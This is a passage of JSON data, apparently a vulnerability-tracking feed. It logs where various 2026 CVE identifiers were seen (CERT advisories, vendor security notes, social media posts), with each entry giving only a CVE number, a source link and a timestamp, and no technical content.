"creation_timestamp": "2026-03-19T08:16:17.000000Z"}, {"uuid": "e1afc7d8-9c37-4d15-85df-0e64f5105936", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27070", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-27070", "content": "", "creation_timestamp": "2026-03-19T08:16:18.000000Z"}, {"uuid": "dbcdc20b-03d7-49a6-8943-8c82dc55954d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27651", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhvcqjgua623", "content": "", "creation_timestamp": "2026-03-25T14:35:13.438318Z"}, {"uuid": "54fa4b22-2437-46c9-82a0-5a7003407ac9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27068", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-27068", "content": "", "creation_timestamp": "2026-03-19T08:16:18.000000Z"}, {"uuid": "c8aa7f9a-e552-4947-91d2-ceef9bff8c01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhvcqjgua623", "content": "", "creation_timestamp": "2026-03-25T14:35:13.530507Z"}, {"uuid": "9e521a51-8265-4c04-8153-bd65f9dad8b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27278", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mguheoo3wj2u", "content": "", "creation_timestamp": "2026-03-12T13:00:13.892889Z"}, {"uuid": "4d2d5a46-79bc-4f2c-b532-b726d29be9d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27784", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mhvcqjgua623", "content": "", "creation_timestamp": "2026-03-25T14:35:13.615545Z"}, {"uuid": "5c9eb84f-5560-44c5-93c2-3ae928ddff22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27653", "type": "seen", "source": "https://jvn.jp/en/jp/JVN41357120/", "content": "", "creation_timestamp": "2026-02-27T05:00:00.000000Z"}, {"uuid": "7c0eb7ac-fb41-4357-a12c-f56f9fd4b170", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27776", "type": "seen", "source": "https://jvn.jp/en/jp/JVN80500630/", "content": "", "creation_timestamp": "2026-03-02T05:00:00.000000Z"}, {"uuid": "e928f788-55c1-41e4-a39d-df33424d5fcc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27278", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mguimdcdxt2i", "content": "", "creation_timestamp": "2026-03-12T13:22:24.087584Z"}, {"uuid": "9754e0b5-02c1-44ac-86af-e3b3193e11eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27897", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-27897", "content": "", "creation_timestamp": "2026-03-11T15:16:40.000000Z"}, {"uuid": "151b7ba2-7d76-467a-843e-6d92923ac7cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27979", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mheckrrwaz25", "content": "", "creation_timestamp": "2026-03-18T20:16:46.183129Z"}, {"uuid": "18b3033b-61dc-47aa-a84b-94000aafdb17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27980", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mheckymabq2s", "content": "", "creation_timestamp": "2026-03-18T20:16:53.153781Z"}, {"uuid": "9acddd61-6c84-4edd-a171-051ef6d1ecf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27811", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhecladzvw2s", "content": "", "creation_timestamp": "2026-03-18T20:17:01.744421Z"}, {"uuid": "adbcef88-2188-41e1-9b05-c34fcd8019d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2760", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mguj5phmf22y", "content": "", "creation_timestamp": "2026-03-12T13:32:10.951324Z"}, {"uuid": "148ab387-e317-426f-8d69-b2ea473af7a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27664", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116297299127936529", "content": "", "creation_timestamp": "2026-03-26T20:12:36.347338Z"}, {"uuid": "fd843fe3-bc92-45f2-951a-bde32089014a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27894", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mheezkcu762c", "content": "", "creation_timestamp": "2026-03-18T21:00:49.042415Z"}, {"uuid": "114206ec-a53e-44c2-bba4-6d6d0d959ea6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27663", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mi2g7ehr3326", "content": "", "creation_timestamp": "2026-03-27T15:20:31.457711Z"}, {"uuid": "28ef34de-1a37-4f4c-b35e-404beb3ba60c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27664", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mi2g7ehr3326", "content": "", "creation_timestamp": "2026-03-27T15:20:31.555286Z"}, {"uuid": "eb3d693d-8fb4-402f-846f-6c613d5310fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27578", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-n8n-2", "content": "", "creation_timestamp": "2026-02-26T11:50:14.000000Z"}, {"uuid": "859c8223-acbf-457c-88a9-95d47b21b314", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27982", "type": "seen", "source": "https://jvn.jp/en/jp/JVN23669411/", "content": "", "creation_timestamp": "2026-03-05T03:00:15.000000Z"}, {"uuid": "519a0d67-4bb1-4f2f-b1f5-52221a4ef098", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27598", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-33344", "content": "", "creation_timestamp": "2026-03-24T19:16:28.000000Z"}, {"uuid": "e2761be7-18e3-4256-b43c-a11a83456107", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27137", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0315/", "content": "", "creation_timestamp": "2026-03-18T00:00:00.000000Z"}, {"uuid": "533dc2dd-03f7-4d6e-88de-3c8a1f2da910", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27625", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mht3ijc4gx2f", "content": "", "creation_timestamp": "2026-03-24T17:20:09.815827Z"}, {"uuid": "7fb97c14-58ad-4e94-a2e9-2706f6343f6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27196", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3micrc5qn3e2r", "content": "", "creation_timestamp": "2026-03-30T23:00:14.469636Z"}, {"uuid": "48d77f9f-7e20-44de-ad19-1c6d386b926a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27842", "type": "seen", "source": "https://jvn.jp/en/vu/JVNVU98103854/", "content": "", "creation_timestamp": "2026-03-11T05:00:00.000000Z"}, {"uuid": "cc8018ea-4aee-488e-8b3d-15915d69361d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2713", "type": "seen", "source": "https://jvn.jp/en/jp/JVN96706146/", "content": "", "creation_timestamp": "2026-03-17T03:00:00.000000Z"}, {"uuid": "48f467c1-ecb1-4302-944d-7f5194633e12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27139", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mhihsghtyz2n", "content": "", "creation_timestamp": "2026-03-20T12:01:10.354413Z"}, {"uuid": "76ce0ee3-2a5e-4e34-b9a2-2e88f47eaad2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27142", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mhihshbi3q2m", "content": "", "creation_timestamp": "2026-03-20T12:01:11.143210Z"}, {"uuid": "f2b8937b-730c-4bd2-8367-4c5fbd9f3c54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27877", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mi2ilk6erq2s", "content": "", "creation_timestamp": "2026-03-27T16:03:07.756629Z"}, {"uuid": "e95db81b-ea62-45e6-9d41-bb0bd73690fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27880", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mi2jgxytcz2q", "content": "", "creation_timestamp": "2026-03-27T16:18:28.465696Z"}, {"uuid": "3fb1405c-9835-40e2-add3-287110d71c50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27598", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mi4s6pxpvu2q", "content": "", "creation_timestamp": "2026-03-28T14:00:14.583961Z"}, {"uuid": "b71188b0-7fa5-4074-9ca3-552852688cc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27880", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/grafana-security-advisory-av26-285", "content": "", "creation_timestamp": "2026-03-26T19:34:03.000000Z"}, {"uuid": "63482917-ce79-4834-aee5-77a91b8db961", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27687", "type": "seen", "source": "https://support.sap.com/en/my-support/knowledge-base/security-notes-news/march-2026.html", "content": "", "creation_timestamp": "2026-03-12T03:00:05.000000Z"}, {"uuid": "f90d3153-a185-4454-9dac-eb900f665e84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27688", "type": "seen", "source": "https://support.sap.com/en/my-support/knowledge-base/security-notes-news/march-2026.html", "content": "", "creation_timestamp": "2026-03-12T03:00:05.000000Z"}, {"uuid": "11076c4e-2159-40ff-9f88-f5349b593f05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27685", "type": "seen", "source": "https://support.sap.com/en/my-support/knowledge-base/security-notes-news/march-2026.html", "content": "", "creation_timestamp": "2026-03-12T03:00:05.000000Z"}, {"uuid": "90b59c0d-26fc-4e76-a66c-617bf48c31fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27876", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mi4ufvf7gk2p", "content": "", "creation_timestamp": "2026-03-28T14:40:04.151188Z"}, {"uuid": "198c56fd-50b2-4350-8ec9-6e04a7f4649e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27684", "type": "seen", "source": "https://support.sap.com/en/my-support/knowledge-base/security-notes-news/march-2026.html", "content": "", "creation_timestamp": "2026-03-12T03:00:05.000000Z"}, {"uuid": "03ea6f7b-d3b7-4321-a1da-966d5c784d23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27880", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mi4ufvf7gk2p", "content": "", "creation_timestamp": "2026-03-28T14:40:04.232816Z"}, {"uuid": "047e5178-52b3-48bf-9d42-500810ec1f73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27689", "type": "seen", "source": "https://support.sap.com/en/my-support/knowledge-base/security-notes-news/march-2026.html", "content": "", "creation_timestamp": "2026-03-12T03:00:05.000000Z"}, {"uuid": "f8b27798-aa73-4d8e-a665-bef69465711f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27860", "type": "seen", "source": "https://gist.github.com/elchinsir/a50bb1cfa4daf45f28b65ae3f0eeb05a", "content": "", "creation_timestamp": "2026-03-30T22:50:34.000000Z"}, {"uuid": "c8d38be6-d726-4880-bfc0-c93a6252db46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27659", "type": "seen", "source": "https://nvd.nist.gov/vuln/detail/CVE-2026-27656", "content": "", "creation_timestamp": "2026-03-26T03:00:14.000000Z"}, {"uuid": "1a3770c7-4cca-4b61-bfbd-0c311f8821a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27656", "type": "seen", "source": "https://nvd.nist.gov/vuln/detail/CVE-2026-27656", "content": "", "creation_timestamp": "2026-03-26T03:00:14.000000Z"}, {"uuid": "46b4bc34-aff0-4434-be3e-275275bee042", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2745", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhvojp34fz2j", "content": "", "creation_timestamp": "2026-03-25T18:06:09.575328Z"}, {"uuid": "5c7deb7d-7322-4481-976b-bf25d22d181b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27659", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhvon2pmzj2j", "content": "", "creation_timestamp": "2026-03-25T18:08:02.424952Z"}, {"uuid": "2f7bc846-b089-48aa-9b30-23e011479558", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27483", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2026-ACT-010/", "content": "", "creation_timestamp": "2026-03-09T00:00:00.000000Z"}, {"uuid": "0156b630-80c6-47b1-b520-bbb9e577ca58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2726", "type": "seen", "source": "https://about.gitlab.com/releases/2026/03/25/patch-release-gitlab-18-10-1-released/", "content": "", "creation_timestamp": "2026-03-26T03:00:15.000000Z"}, {"uuid": "9c707979-4471-42fe-85f0-ce82c3846aa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27743", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2026-ACT-010/", "content": "", "creation_timestamp": "2026-03-09T00:00:00.000000Z"}, {"uuid": "fc3ff739-ba5c-4b88-9323-8c7f13639bae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-2745", "type": "seen", "source": "https://about.gitlab.com/releases/2026/03/25/patch-release-gitlab-18-10-1-released/", "content": "", "creation_timestamp": "2026-03-26T03:00:15.000000Z"}, {"uuid": "a0e6f3a7-3ddb-4f94-ba64-fcd7c8ab70b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27744", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2026-ACT-010/", "content": "", "creation_timestamp": "2026-03-09T00:00:00.000000Z"}, {"uuid": "00fb01e5-1e21-49cc-a485-d8ca60e8a529", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27739", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mhuar2yhtn2i", "content": "", "creation_timestamp": "2026-03-25T04:27:05.334334Z"}, {"uuid": "9093ba72-ae0f-47e8-bd27-e44c9de0e7cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27664", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhyndu75uq27", "content": "", "creation_timestamp": "2026-03-26T22:22:59.645869Z"}, {"uuid": "b8bf77c0-c783-4428-bb0f-d48c8de34b78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2726", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhvq3vla4p2i", "content": "", "creation_timestamp": "2026-03-25T18:34:14.088864Z"}, {"uuid": "21b28e2f-b082-47c1-9cbe-f9845a8ea4f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27135", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhruesyhyp2b", "content": "", "creation_timestamp": "2026-03-24T05:40:09.556817Z"}, {"uuid": "83b35511-da6e-4120-9fee-7b8e3dd82e0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27876", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/grafana-security-advisory-av26-285", "content": "", "creation_timestamp": "2026-03-26T19:34:03.000000Z"}, {"uuid": "8f1d96f7-271a-48ab-bb64-1bec15e05211", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27934", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhgybnriom2o", "content": "", "creation_timestamp": "2026-03-19T21:50:41.085551Z"}, {"uuid": "b5f450ac-a5f1-403d-ae3d-45e4172a7cf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mhyp6sdl522z", "content": "", "creation_timestamp": "2026-03-26T22:56:00.156593Z"}, {"uuid": "170fdcc7-c727-4e98-a253-d8d67b9a91ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27889", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mhypgix4l72k", "content": "", "creation_timestamp": "2026-03-26T23:00:15.759234Z"}, {"uuid": "178abcca-666b-4587-881d-48153bf0626d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27180", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/42521e67-5c8d-4b16-a114-e0db686c91a7", "content": "", "creation_timestamp": "2026-02-19T10:22:00.000000Z"}, {"uuid": "57ccd232-0dde-4016-b458-862b964dfb3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27893", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mi5tqmctmz2x", "content": "", "creation_timestamp": "2026-03-29T00:00:49.690601Z"}, {"uuid": "8cf650fc-c57b-4f3d-a954-aa9c699b21e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27190", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-32260", "content": "", "creation_timestamp": "2026-03-12T19:16:06.000000Z"}, {"uuid": "d61d5b63-6bbf-4cb8-9500-2520bc80e859", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27044", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhvydnnpz427", "content": "", "creation_timestamp": "2026-03-25T21:01:44.279516Z"}, {"uuid": "aef75aeb-d32c-492f-bed0-cfb78fb9f35b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27566", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mhf7av5vrf2n", "content": "", "creation_timestamp": "2026-03-19T04:50:12.487293Z"}, {"uuid": "9957d57d-f812-471a-830b-a907f3ca6a22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27889", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mhvye24sid2w", "content": "", "creation_timestamp": "2026-03-25T21:01:58.177348Z"}, {"uuid": "9bbd7bf4-fd29-42af-88ee-457f8bf2e5ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27940", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mguwmdaalc2k", "content": "", "creation_timestamp": "2026-03-12T17:32:57.079649Z"}, {"uuid": "9d579f4a-fde5-412b-8c7f-58bffc7abfdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27684", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0256/", "content": "", "creation_timestamp": "2026-03-10T00:00:00.000000Z"}, {"uuid": "6f673c38-d98d-4d0b-8526-c6cd35c97b0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27876", "type": "seen", "source": "https://grafana.com/security/security-advisories/cve-2026-27876/", "content": "", "creation_timestamp": "2026-03-31T02:00:04.000000Z"}, {"uuid": "45525ff8-195f-4ec5-83c0-57495066cff3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "https://dnsc.ro/citeste/alerta-vulnerabilitate-critica-in-nginx-ui", "content": "", "creation_timestamp": "2026-03-09T14:22:35.000000Z"}, {"uuid": "b7c82068-63ae-4bbc-a362-f3f0b012ed39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27686", "type": "seen", "source": "https://support.sap.com/en/my-support/knowledge-base/security-notes-news/march-2026.html", "content": "", "creation_timestamp": "2026-03-12T03:00:05.000000Z"}, {"uuid": "434fbacc-6e6e-4886-9acf-7399e566d6a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27602", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mhvzx3t2pz2o", "content": "", "creation_timestamp": "2026-03-25T21:30:30.275940Z"}, {"uuid": "a1e531e5-4758-4a24-a2a3-885671a5cc44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27179", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/42521e67-5c8d-4b16-a114-e0db686c91a7", "content": "", "creation_timestamp": "2026-02-19T10:22:00.000000Z"}, {"uuid": "ed7cbe2a-ee6b-4f42-837d-c3b290c17305", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27175", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/42521e67-5c8d-4b16-a114-e0db686c91a7", "content": "", "creation_timestamp": "2026-02-19T10:22:00.000000Z"}, {"uuid": "9f0cfe50-6b86-4dfc-9614-09484bc4d1f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27177", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/42521e67-5c8d-4b16-a114-e0db686c91a7", "content": "", "creation_timestamp": "2026-02-19T10:22:00.000000Z"}, {"uuid": "ff763eaa-6530-4c94-a781-4899bfe861fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27174", "type": 